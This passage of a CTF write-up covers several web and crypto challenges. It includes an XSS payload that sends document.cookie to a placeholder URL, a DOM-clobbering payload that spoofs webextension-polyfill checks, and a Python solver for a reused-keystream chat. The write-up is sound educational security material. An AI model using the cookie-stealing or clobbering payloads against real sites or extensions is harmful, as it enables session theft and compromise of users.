onerror=fetch(`{YOUR_URL}/`+document.cookie) </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">style</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<p>Another solution is similar but uses an empty <code>{{<wbr>content<wbr>}}</code>, like <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#cve-2023-48219-tinymce">CVE-2023-48219</a><sup><a href="#user-content-fn-mizu-2" id="user-content-fnref-mizu-2-2" data-footnote-ref aria-describedby="footnote-label">1</a></sup>.</p>
<h2 id="are-you-incognito-3-solves" class="heading"><a href="#are-you-incognito-3-solves" class="heading-anchor" aria-label="章节： Are you incognito? (3 solves)" tabindex="-1"></a><span>Are you incognito? (3 solves)</span></h2>
<p>Notice that the bot runs Chromium but the extension uses <code>browser</code> instead of <code>chrome</code> to access the extension API. It uses <code>webextension<wbr>-<wbr>polyfill</code> to provide the API under <code>browser</code>. We can pass the check if we modify the <code>browser</code> object. We cannot directly create JavaScript variables since the web page and the content script run JavaScript separately, but we can use <a href="https://domclob.xyz/">DOM clobbering</a> to do so.</p>
<p>We need <code>browser<wbr>.<wbr>runtime<wbr>.<wbr>id</code> to pass <a href="https://github.com/mozilla/webextension-polyfill/blob/6a42cbeaf637ba3f1283bdcdd657afd06454ca55/src/browser-polyfill.js#L13">the check in <code>webextension<wbr>-<wbr>polyfill</code></a> and then <code class="break-all">browser.extension.inIncognitoContext</code> to pass the check in the challenge:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-49"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-49--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;form </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">browser</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">name</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">runtime</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/form&gt;</span></span>
<span><span style="color: #994CC3">&lt;form </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">browser</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">name</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">extension</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;input </span><span style="color: #4876D6">name</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">inIncognitoContext</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #994CC3">&lt;/form&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">browser</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">name</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">runtime</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">browser</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">name</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">extension</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">input</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">name</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">inIncognitoContext</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">form</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<p>An alternative solution is found by USTC-NEBULA, that is to create a global variable <code>exports</code> instead of <code>browser<wbr>.<wbr>runtime<wbr>.<wbr>id</code> to pass <a href="https://github.com/mozilla/webextension-polyfill/blob/6a42cbeaf637ba3f1283bdcdd657afd06454ca55/scripts/babel-transform-to-umd-module.js#L7">the check in <code>babel<wbr>-<wbr>transform<wbr>-<wbr>to<wbr>-<wbr>umd<wbr>-<wbr>module<wbr>.<wbr>js</code></a>.</p>
<p>Some sites such as webhook.site use path instead of subdomain for each user and are thus unable to record the <code>/flag</code> request. You can use <a href="https://requestrepo.com">requestrepo.com</a> or your own server.</p>
<p>This appears to be a 0-day vulnerability<sup><a href="#user-content-fn-webextension-polyfill" id="user-content-fnref-webextension-polyfill" data-footnote-ref aria-describedby="footnote-label">2</a></sup>, but I couldn<span class="mojikumi-narrow-left">’</span>t find a practical way to exploit it in real-world extensions. I suspect it may at most disrupt the normal execution of content scripts without posing significant security risks or providing strong attack incentives. Anyhow, I will report this to the upstream after the competition. It<span class="mojikumi-narrow-left">’</span>s at least a bug if not a vulnerability.</p>
<p>P.S. A similar bug was once discovered and fixed in <a href="https://github.com/mozilla/webextension-polyfill/pull/153">#153</a> but later introduced again in <a href="https://github.com/mozilla/webextension-polyfill/pull/582">#582</a>.</p>
<h2 id="encrypted-chat-15-solves" class="heading"><a href="#encrypted-chat-15-solves" class="heading-anchor" aria-label="章节： encrypted chat (15 solves)" tabindex="-1"></a><span>encrypted chat (15 solves)</span></h2>
<p>All senders share the same key stream, so race condition will happen if two participants send messages at the same time, before receiving the message sent from the other side, and then the key stream will be reused.</p>
<p>So we need to locate the parts where the key is reused and then decrypt them. Since the messages are in ASCII, we can use the highest bit in each byte to find reused key. The remaining of this challenge is <a href="https://crypto.stanford.edu/~dabo/cs255/hw_and_proj/hw1.html">this assignment in CS255</a>.</p>
<p>A simple approach is to XOR the messages and notice that XORing a letter with a space is to toggle its casing. So a character is likely to be a space if its XORs with others are letters. Then manually fix the broken words.</p>
<p>Another approach is to use some language model (e.g. GPT, a small one is enough) to calculate the probability of the next character (use the internal results, not to ask an AI assistant) and apply the Viterbi algorithm. Reference: <a href="https://dl.acm.org/doi/abs/10.1145/1180405.1180435">A Natural Language Approach to Automated Cryptanalysis of Two-time Pads</a>. This approach is more accurate but too expensive to implement during a CTF.<sup><a href="#user-content-fn-gpt-viterbi" id="user-content-fnref-gpt-viterbi" data-footnote-ref aria-describedby="footnote-label">3</a></sup></p>
<p>Or you can use the known plaintext <code>TPCTF{</code> as a starting point.</p>
<p>Here<span class="mojikumi-narrow-left">’</span>s my script with an interactive solver to fix the broken words:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h3><ile-root id="ile-50"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-50--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">import</span><span style="color: #403F53"> json</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> base64 </span><span style="color: #994CC3">import</span><span style="color: #403F53"> b64decode, b64encode</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> string </span><span style="color: #994CC3">import</span><span style="color: #403F53"> ascii_letters</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">solve</span><span style="color: #111111">(</span><span style="color: #0C969B">ciphertexts</span><span style="color: #403F53">: list[</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">]</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    n </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    m </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">[</span><span style="color: #AA0982">0</span><span style="color: #403F53">])</span></span>
<span><span style="color: #403F53">    key </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytearray</span><span style="color: #403F53">(</span><span style="color: #4876D6">m</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">m</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> n</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> j, x </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">enumerate</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">for</span><span style="color: #403F53"> k, y </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">enumerate</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">[</span><span style="color: #4876D6">:j</span><span style="color: #403F53">]):</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">x</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> y</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">]) </span><span style="color: #994CC3">in</span><span style="color: #403F53"> ascii_letters:</span></span>
<span><span style="color: #403F53">                    count[j] </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">                    count[k] </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">        key[i] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">32</span><span style="color: #403F53"> </span><span style="color: #994CC3">^</span><span style="color: #403F53"> ciphertexts[count.</span><span style="color: #0C969B">index</span><span style="color: #403F53">(</span><span style="color: #4876D6">max</span><span style="color: #403F53">(</span><span style="color: #4876D6">count</span><span style="color: #403F53">))]</span><span style="color: #111111">[</span><span style="color: #403F53">i</span><span style="color: #111111">]</span></span>
<span><span style="color: #403F53">    plaintexts </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> ciphertext </span><span style="color: #994CC3">in</span><span style="color: #403F53"> ciphertexts:</span></span>
<span><span style="color: #403F53">        plaintext </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">c </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> k </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> c</span><span style="color: #111111">,</span><span style="color: #4876D6"> k </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> zip</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertext</span><span style="color: #111111">,</span><span style="color: #4876D6"> key</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        plaintexts.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #0C969B">b64encode</span><span style="color: #403F53">(</span><span style="color: #4876D6">plaintext</span><span style="color: #403F53">)</span><span style="color: #4876D6">.</span><span style="color: #0C969B">decode</span><span style="color: #403F53">())</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">json.</span><span style="color: #0C969B">dumps</span><span style="color: #403F53">(</span><span style="color: #4876D6">plaintexts</span><span style="color: #403F53">))</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">messages.txt</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    stream </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">b64decode</span><span style="color: #403F53">(</span><span style="color: #4876D6">f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">())</span></span>
<span></span>
<span><span style="color: #403F53">n </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">stream</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">high_bits </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #111111">[</span><span style="color: #4876D6">b </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #4876D6"> </span><span style="color: #AA0982">7</span><span style="color: #4876D6"> </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> b </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> stream</span><span style="color: #111111">]</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">i </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #994CC3">while</span><span style="color: #403F53"> i </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> n:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">i:i</span><span style="color: #994CC3">+</span><span style="color: #AA0982">50</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">) </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">5</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        i </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">    l </span><span style="color: #994CC3">=</span><span style="color: #403F53"> i </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">10</span></span>
<span><span style="color: #403F53">    r </span><span style="color: #994CC3">=</span><span style="color: #403F53"> i </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">40</span></span>
<span><span style="color: #403F53">    k </span><span style="color: #994CC3">=</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">l:r</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">l</span><span style="color: #994CC3">-</span><span style="color: #AA0982">1</span><span style="color: #4876D6">:r</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">) </span><span style="color: #994CC3">==</span><span style="color: #403F53"> k:</span></span>
<span><span style="color: #403F53">        l </span><span style="color: #994CC3">-=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">count</span><span style="color: #403F53">(</span><span style="color: #4876D6">high_bits</span><span style="color: #403F53">[</span><span style="color: #4876D6">l:r</span><span style="color: #994CC3">+</span><span style="color: #AA0982">1</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">) </span><span style="color: #994CC3">==</span><span style="color: #403F53"> k:</span></span>
<span><span style="color: #403F53">        r </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">    pattern </span><span style="color: #994CC3">=</span><span style="color: #403F53"> high_bits[l:r]</span></span>
<span><span style="color: #403F53">    ciphertexts </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> (p </span><span style="color: #994CC3">:=</span><span style="color: #403F53"> high_bits.</span><span style="color: #0C969B">find</span><span style="color: #403F53">(</span><span style="color: #4876D6">pattern</span><span style="color: #111111">,</span><span style="color: #4876D6"> i</span><span style="color: #403F53">)) </span><span style="color: #994CC3">!=</span><span style="color: #403F53"> </span><span style="color: #994CC3">-</span><span style="color: #AA0982">1</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        ciphertexts.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #4876D6">stream</span><span style="color: #403F53">[</span><span style="color: #4876D6">p:p</span><span style="color: #994CC3">+</span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">pattern</span><span style="color: #403F53">)])</span></span>
<span><span style="color: #403F53">        i </span><span style="color: #994CC3">=</span><span style="color: #403F53"> p </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">pattern</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">solve</span><span style="color: #403F53">(</span><span style="color: #4876D6">ciphertexts</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> json</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> base64 </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> b64decode, b64encode</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> string </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> ascii_letters</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">solve</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">ciphertexts</span><span style="color: #D6DEEB">: list[</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    n </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    m </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">])</span></span>
<span><span style="color: #D6DEEB">    key </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytearray</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">m</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">m</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> n</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> j, x </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">enumerate</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> k, y </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">enumerate</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">:j</span><span style="color: #D6DEEB">]):</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">x</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> y</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">]) </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> ascii_letters:</span></span>
<span><span style="color: #D6DEEB">                    count[j] </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">                    count[k] </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">        key[i] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">32</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">^</span><span style="color: #D6DEEB"> ciphertexts[count.</span><span style="color: #B2CCD6">index</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">max</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">count</span><span style="color: #D6DEEB">))]</span><span style="color: #D9F5DD">[</span><span style="color: #D6DEEB">i</span><span style="color: #D9F5DD">]</span></span>
<span><span style="color: #D6DEEB">    plaintexts </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> ciphertext </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> ciphertexts:</span></span>
<span><span style="color: #D6DEEB">        plaintext </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">c </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> k </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> c</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> k </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">zip</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertext</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> key</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        plaintexts.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">b64encode</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">plaintext</span><span style="color: #D6DEEB">)</span><span style="color: #82AAFF">.</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">())</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">json.</span><span style="color: #B2CCD6">dumps</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">plaintexts</span><span style="color: #D6DEEB">))</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">messages.txt</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    stream </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">b64decode</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">())</span></span>
<span></span>
<span><span style="color: #D6DEEB">n </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">stream</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">high_bits </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">[</span><span style="color: #82AAFF">b </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">7</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> b </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> stream</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">i </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> n:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i:i</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">50</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">5</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        i </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">    l </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">10</span></span>
<span><span style="color: #D6DEEB">    r </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">40</span></span>
<span><span style="color: #D6DEEB">    k </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">l:r</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">)</span></span>
